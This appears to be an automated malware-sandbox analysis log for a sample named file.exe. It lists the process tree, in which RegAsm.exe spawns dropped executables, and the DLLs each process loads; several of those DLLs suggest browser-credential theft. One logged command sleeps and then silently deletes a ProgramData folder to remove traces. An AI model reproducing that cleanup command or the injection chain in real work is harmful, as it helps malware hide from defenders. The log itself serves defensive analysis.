Source: RegAsm.exe, 0000001D.00000002.1959106778.000000003676F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.3.dr, softokn3.dll.3.dr, softokn3[1].dll.29.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userFBKFCFBFID.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userFBKFCFBFID.exe "C:\Users\userFBKFCFBFID.exe"
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIEHDAFHDHC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIEHDAFHDHC.exe "C:\Users\userIEHDAFHDHC.exe"
Source: C:\Users\userIEHDAFHDHC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\userIEHDAFHDHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 1760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DHCGHDHIDH.exe "C:\ProgramData\DHCGHDHIDH.exe"
Source: C:\ProgramData\DHCGHDHIDH.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\DHCGHDHIDH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDAFIIDAKJ.exe "C:\ProgramData\HDAFIIDAKJ.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 1704
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIIJDHCGCBK" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userFBKFCFBFID.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIEHDAFHDHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userFBKFCFBFID.exe "C:\Users\userFBKFCFBFID.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIEHDAFHDHC.exe "C:\Users\userIEHDAFHDHC.exe"	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DHCGHDHIDH.exe "C:\ProgramData\DHCGHDHIDH.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDAFIIDAKJ.exe "C:\ProgramData\HDAFIIDAKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIIJDHCGCBK" & exit	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: version.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\DHCGHDHIDH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
